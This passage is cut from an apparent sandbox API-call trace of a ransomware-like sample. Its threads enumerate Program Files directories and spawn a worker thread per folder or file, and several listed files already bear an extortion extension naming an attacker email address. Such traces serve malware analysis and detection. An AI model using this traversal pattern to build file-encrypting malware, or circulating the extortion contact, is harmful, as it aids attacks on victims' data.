| out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource" [0140.296] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x8f16e8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3dc [0140.297] FindNextFileW (in: hFindFile=0x8da190, lpFindFileData=0x907510 | out: lpFindFileData=0x907510*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cf66ca0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7cf66ca0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7cf66ca0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup Files", cAlternateFileName="SETUPF~1")) returned 1 [0140.297] wcscmp (_String1="Setup Files", _String2=".") returned 1 [0140.297] wcscmp (_String1="Setup Files", _String2="..") returned 1 [0140.297] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x6a) returned 0x8e8c38 [0140.297] wcscpy (in: _Dest=0x8e8c38, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0" [0140.297] wcscat (in: _Dest=0x8e8c38, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\" [0140.297] wcscat (in: _Dest=0x8e8c38, _Source="Setup Files" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Setup Files") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Setup Files" [0140.297] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x8e8c38, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3d8 [0140.298] FindNextFileW (in: hFindFile=0x8da190, lpFindFileData=0x907510 | out: lpFindFileData=0x907510*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fe90080, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x42c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Vigtigt.htm.mailto[2Hamlampampom@cock.li].cd46d", cAlternateFileName="VIGTIG~1.CD4")) returned 1 [0140.298] wcscmp (_String1="Vigtigt.htm.mailto[2Hamlampampom@cock.li].cd46d", _String2=".") returned 1 [0140.298] wcscmp (_String1="Vigtigt.htm.mailto[2Hamlampampom@cock.li].cd46d", _String2="..") returned 1 [0140.298] FindNextFileW (in: hFindFile=0x8da190, lpFindFileData=0x907510 | out: lpFindFileData=0x907510*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fe90080, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x42b7, dwReserved0=0x0, dwReserved1=0x0, cFileName="Viktig.htm.mailto[2Hamlampampom@cock.li].cd46d", cAlternateFileName="VIKTIG~1.CD4")) returned 1 [0140.298] wcscmp (_String1="Viktig.htm.mailto[2Hamlampampom@cock.li].cd46d", _String2=".") returned 1 [0140.298] wcscmp (_String1="Viktig.htm.mailto[2Hamlampampom@cock.li].cd46d", _String2="..") returned 1 [0140.298] FindNextFileW (in: hFindFile=0x8da190, lpFindFileData=0x907510 | out: lpFindFileData=0x907510*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fe90080, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x431b, dwReserved0=0x0, dwReserved1=0x0, cFileName="Viktigt.htm.mailto[2Hamlampampom@cock.li].cd46d", cAlternateFileName="VIKTIG~2.CD4")) returned 1 [0140.298] wcscmp (_String1="Viktigt.htm.mailto[2Hamlampampom@cock.li].cd46d", _String2=".") returned 1 [0140.298] wcscmp (_String1="Viktigt.htm.mailto[2Hamlampampom@cock.li].cd46d", _String2="..") returned 1 [0140.298] FindNextFileW (in: hFindFile=0x8da190, lpFindFileData=0x907510 | out: lpFindFileData=0x907510*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fe90080, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x431b, dwReserved0=0x0, dwReserved1=0x0, cFileName="Viktigt.htm.mailto[2Hamlampampom@cock.li].cd46d", cAlternateFileName="VIKTIG~2.CD4")) returned 0 [0140.298] FindClose (in: hFindFile=0x8da190 | out: hFindFile=0x8da190) returned 1 [0140.299] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x907510) returned 1 [0140.299] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8fee88) returned 1 [0140.299] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f6f90) returned 1 Thread: id = 1680 os_tid = 0x514 [0139.817] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x58) returned 0x8feee8 [0139.817] wcscpy (in: _Dest=0x8feee8, _Source="C:\\Program Files (x86)\\Common Files\\Adobe" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe") returned="C:\\Program Files (x86)\\Common Files\\Adobe" [0139.817] wcscat (in: _Dest=0x8feee8, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\" [0139.817] wcscat (in: _Dest=0x8feee8, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\*") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\*" [0139.817] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x907778 [0139.817] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\*", lpFindFileData=0x907778 | out: lpFindFileData=0x907778*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cf1a9e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8386f760, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8386f760, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x8da1d0 [0139.818] wcscmp (_String1=".", _String2=".") returned 0 [0139.818] FindNextFileW (in: hFindFile=0x8da1d0, lpFindFileData=0x907778 | out: lpFindFileData=0x907778*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cf1a9e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8386f760, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8386f760, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0139.818] wcscmp (_String1="..", _String2=".") returned 1 [0139.818] wcscmp (_String1="..", _String2="..") returned 0 [0139.818] FindNextFileW (in: hFindFile=0x8da1d0, lpFindFileData=0x907778 | out: lpFindFileData=0x907778*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cf1a9e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7cf1a9e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7cf1a9e0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Acrobat", cAlternateFileName="")) returned 1 [0139.818] wcscmp (_String1="Acrobat", _String2=".") returned 1 [0139.818] wcscmp (_String1="Acrobat", _String2="..") returned 1 [0139.818] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x64) returned 0x8f0fe8 [0139.818] wcscpy (in: _Dest=0x8f0fe8, _Source="C:\\Program Files (x86)\\Common Files\\Adobe" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe") returned="C:\\Program Files (x86)\\Common Files\\Adobe" [0139.818] wcscat (in: _Dest=0x8f0fe8, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\" [0139.818] wcscat (in: _Dest=0x8f0fe8, _Source="Acrobat" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat" [0139.818] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x8f0fe8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x20c [0139.819] FindNextFileW (in: hFindFile=0x8da1d0, lpFindFileData=0x907778 | out: lpFindFileData=0x907778*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8386f760, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8386f760, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8386f760, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ARM", cAlternateFileName="")) returned 1 [0139.819] wcscmp (_String1="ARM", _String2=".") returned 1 [0139.819] wcscmp (_String1="ARM", _String2="..") returned 1 [0139.819] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x5c) returned 0x90e9a8 [0139.819] wcscpy (in: _Dest=0x90e9a8, _Source="C:\\Program Files (x86)\\Common Files\\Adobe" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe") returned="C:\\Program Files (x86)\\Common Files\\Adobe" [0139.819] wcscat (in: _Dest=0x90e9a8, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\" [0139.819] wcscat (in: _Dest=0x90e9a8, _Source="ARM" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\ARM") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\ARM" [0139.819] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x90e9a8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x208 [0139.820] FindNextFileW (in: hFindFile=0x8da1d0, lpFindFileData=0x907778 | out: lpFindFileData=0x907778*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d580500, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5f2920, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5f2920, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HelpCfg", cAlternateFileName="")) returned 1 [0139.820] wcscmp (_String1="HelpCfg", _String2=".") returned 1 [0139.822] wcscmp (_String1="HelpCfg", _String2="..") returned 1 [0139.822] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x64) returned 0x8f1058 [0139.822] wcscpy (in: _Dest=0x8f1058, _Source="C:\\Program Files (x86)\\Common Files\\Adobe" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe") returned="C:\\Program Files (x86)\\Common Files\\Adobe" [0139.822] wcscat (in: _Dest=0x8f1058, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\" [0139.822] wcscat (in: _Dest=0x8f1058, _Source="HelpCfg" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg" [0139.822] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x8f1058, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x204 [0139.823] FindNextFileW (in: hFindFile=0x8da1d0, lpFindFileData=0x907778 | out: lpFindFileData=0x907778*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d580500, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5f2920, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5f2920, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HelpCfg", cAlternateFileName="")) returned 0 [0139.823] FindClose (in: hFindFile=0x8da1d0 | out: hFindFile=0x8da1d0) returned 1 [0139.823] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x907778) returned 1 [0139.823] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8feee8) returned 1 [0139.823] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f6ff0) returned 1 Thread: id = 1681 os_tid = 0x50c [0139.824] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x56) returned 0x8feee8 [0139.824] wcscpy (in: _Dest=0x8feee8, _Source="C:\\Program Files (x86)\\Common Files\\Java" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Java") returned="C:\\Program Files (x86)\\Common Files\\Java" [0139.824] wcscat (in: _Dest=0x8feee8, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Java\\") returned="C:\\Program Files (x86)\\Common Files\\Java\\" [0139.824] wcscat (in: _Dest=0x8feee8, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Java\\*") returned="C:\\Program Files (x86)\\Common Files\\Java\\*" [0139.824] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x907778 [0139.824] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Java\\*", lpFindFileData=0x907778 | out: lpFindFileData=0x907778*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x801ae160, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x801d42c0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x801d42c0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x8da190 [0140.305] wcscmp (_String1=".", _String2=".") returned 0 [0140.305] FindNextFileW (in: hFindFile=0x8da190, lpFindFileData=0x907778 | out: lpFindFileData=0x907778*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x801ae160, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x801d42c0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x801d42c0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0140.306] wcscmp (_String1="..", _String2=".") returned 1 [0140.306] wcscmp (_String1="..", _String2="..") returned 0 [0140.306] FindNextFileW (in: hFindFile=0x8da190, lpFindFileData=0x907778 | out: lpFindFileData=0x907778*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x801d42c0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x9fd765e0, ftLastAccessTime.dwHighDateTime=0x1d5945e, ftLastWriteTime.dwLowDateTime=0x9fd765e0, ftLastWriteTime.dwHighDateTime=0x1d5945e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Java Update", cAlternateFileName="JAVAUP~1")) returned 1 [0140.306] wcscmp (_String1="Java Update", _String2=".") returned 1 [0140.306] wcscmp (_String1="Java Update", _String2="..") returned 1 [0140.306] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x6a) returned 0x8e8cb0 [0140.306] wcscpy (in: _Dest=0x8e8cb0, _Source="C:\\Program Files (x86)\\Common Files\\Java" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Java") returned="C:\\Program Files (x86)\\Common Files\\Java" [0140.306] wcscat (in: _Dest=0x8e8cb0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Java\\") returned="C:\\Program Files (x86)\\Common Files\\Java\\" [0140.306] wcscat (in: _Dest=0x8e8cb0, _Source="Java Update" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Java\\Java Update") returned="C:\\Program Files (x86)\\Common Files\\Java\\Java Update" [0140.306] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x8e8cb0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3b8 [0140.307] FindNextFileW (in: hFindFile=0x8da190, lpFindFileData=0x907778 | out: lpFindFileData=0x907778*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x801d42c0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x9fd765e0, ftLastAccessTime.dwHighDateTime=0x1d5945e, ftLastWriteTime.dwLowDateTime=0x9fd765e0, ftLastWriteTime.dwHighDateTime=0x1d5945e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Java Update", cAlternateFileName="JAVAUP~1")) returned 0 [0140.307] FindClose (in: hFindFile=0x8da190 | out: hFindFile=0x8da190) returned 1 [0140.307] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x907778) returned 1 [0140.307] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8feee8) returned 1 [0140.307] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8feb08) returned 1 Thread: id = 1682 os_tid = 0x668 [0139.825] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x5e) returned 0x90ea10 [0139.825] wcscpy (in: _Dest=0x90ea10, _Source="C:\\Program Files (x86)\\Common Files\\Services" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Services") returned="C:\\Program Files (x86)\\Common Files\\Services" [0139.825] wcscat (in: _Dest=0x90ea10, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Services\\") returned="C:\\Program Files (x86)\\Common Files\\Services\\" [0139.825] wcscat (in: _Dest=0x90ea10, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Services\\*") returned="C:\\Program Files (x86)\\Common Files\\Services\\*" [0139.825] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x9079e0 [0139.825] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Services\\*", lpFindFileData=0x9079e0 | out: lpFindFileData=0x9079e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8d1336, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd8d1336, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd8d1336, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x8da150 [0140.077] wcscmp (_String1=".", _String2=".") returned 0 [0140.077] FindNextFileW (in: hFindFile=0x8da150, lpFindFileData=0x9079e0 | out: lpFindFileData=0x9079e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8d1336, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd8d1336, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd8d1336, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0140.077] wcscmp (_String1="..", _String2=".") returned 1 [0140.077] wcscmp (_String1="..", _String2="..") returned 0 [0140.077] FindNextFileW (in: hFindFile=0x8da150, lpFindFileData=0x9079e0 | out: lpFindFileData=0x9079e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x892529fc, ftCreationTime.dwHighDateTime=0x1c9ea12, ftLastAccessTime.dwLowDateTime=0x892529fc, ftLastAccessTime.dwHighDateTime=0x1c9ea12, ftLastWriteTime.dwLowDateTime=0x892529fc, ftLastWriteTime.dwHighDateTime=0x1c9ea12, nFileSizeHigh=0x0, nFileSizeLow=0xa8e, dwReserved0=0x0, dwReserved1=0x0, cFileName="verisign.bmp", cAlternateFileName="")) returned 1 [0140.078] wcscmp (_String1="verisign.bmp", _String2=".") returned 1 [0140.078] wcscmp (_String1="verisign.bmp", _String2="..") returned 1 [0140.078] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x74) returned 0x8cfd80 [0140.078] wcscpy (in: _Dest=0x8cfd80, _Source="C:\\Program Files (x86)\\Common Files\\Services" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Services") returned="C:\\Program Files (x86)\\Common Files\\Services" [0140.078] wcscat (in: _Dest=0x8cfd80, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Services\\") returned="C:\\Program Files (x86)\\Common Files\\Services\\" [0140.078] wcscat (in: _Dest=0x8cfd80, _Source="verisign.bmp" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Services\\verisign.bmp") returned="C:\\Program Files (x86)\\Common Files\\Services\\verisign.bmp" [0140.078] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8cfd80, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x37c [0140.079] FindNextFileW (in: hFindFile=0x8da150, lpFindFileData=0x9079e0 | out: lpFindFileData=0x9079e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x892529fc, ftCreationTime.dwHighDateTime=0x1c9ea12, ftLastAccessTime.dwLowDateTime=0x892529fc, ftLastAccessTime.dwHighDateTime=0x1c9ea12, ftLastWriteTime.dwLowDateTime=0x892529fc, ftLastWriteTime.dwHighDateTime=0x1c9ea12, nFileSizeHigh=0x0, nFileSizeLow=0xa8e, dwReserved0=0x0, dwReserved1=0x0, cFileName="verisign.bmp", cAlternateFileName="")) returned 0 [0140.079] FindClose (in: hFindFile=0x8da150 | out: hFindFile=0x8da150) returned 1 [0140.079] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9079e0) returned 1 [0140.079] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x90ea10) returned 1 [0140.079] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8feb68) returned 1 Thread: id = 1683 os_tid = 0x680 [0139.826] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x68) returned 0x8f10c8 [0139.826] wcscpy (in: _Dest=0x8f10c8, _Source="C:\\Program Files (x86)\\Common Files\\SpeechEngines" | out: _Dest="C:\\Program Files (x86)\\Common Files\\SpeechEngines") returned="C:\\Program Files (x86)\\Common Files\\SpeechEngines" [0139.826] wcscat (in: _Dest=0x8f10c8, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\") returned="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\" [0139.826] wcscat (in: _Dest=0x8f10c8, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\*") returned="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\*" [0139.826] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x907c48 [0139.826] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\*", lpFindFileData=0x907c48 | out: lpFindFileData=0x907c48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8d1336, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd8d1336, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd8d1336, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x8da150 [0140.080] wcscmp (_String1=".", _String2=".") returned 0 [0140.080] FindNextFileW (in: hFindFile=0x8da150, lpFindFileData=0x907c48 | out: lpFindFileData=0x907c48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8d1336, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd8d1336, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd8d1336, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0140.080] wcscmp (_String1="..", _String2=".") returned 1 [0140.080] wcscmp (_String1="..", _String2="..") returned 0 [0140.080] FindNextFileW (in: hFindFile=0x8da150, lpFindFileData=0x907c48 | out: lpFindFileData=0x907c48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8d1336, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd8f7490, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd8f7490, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 1 [0140.080] wcscmp (_String1="Microsoft", _String2=".") returned 1 [0140.080] wcscmp (_String1="Microsoft", _String2="..") returned 1 [0140.080] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x78) returned 0x8cfe00 [0140.080] wcscpy (in: _Dest=0x8cfe00, _Source="C:\\Program Files (x86)\\Common Files\\SpeechEngines" | out: _Dest="C:\\Program Files (x86)\\Common Files\\SpeechEngines") returned="C:\\Program Files (x86)\\Common Files\\SpeechEngines" [0140.080] wcscat (in: _Dest=0x8cfe00, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\") returned="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\" [0140.080] wcscat (in: _Dest=0x8cfe00, _Source="Microsoft" | out: _Dest="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft") returned="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft" [0140.080] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x8cfe00, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x378 [0140.081] FindNextFileW (in: hFindFile=0x8da150, lpFindFileData=0x907c48 | out: lpFindFileData=0x907c48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8d1336, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd8f7490, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd8f7490, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 0 [0140.081] FindClose (in: hFindFile=0x8da150 | out: hFindFile=0x8da150) returned 1 [0140.082] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x907c48) returned 1 [0140.082] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, 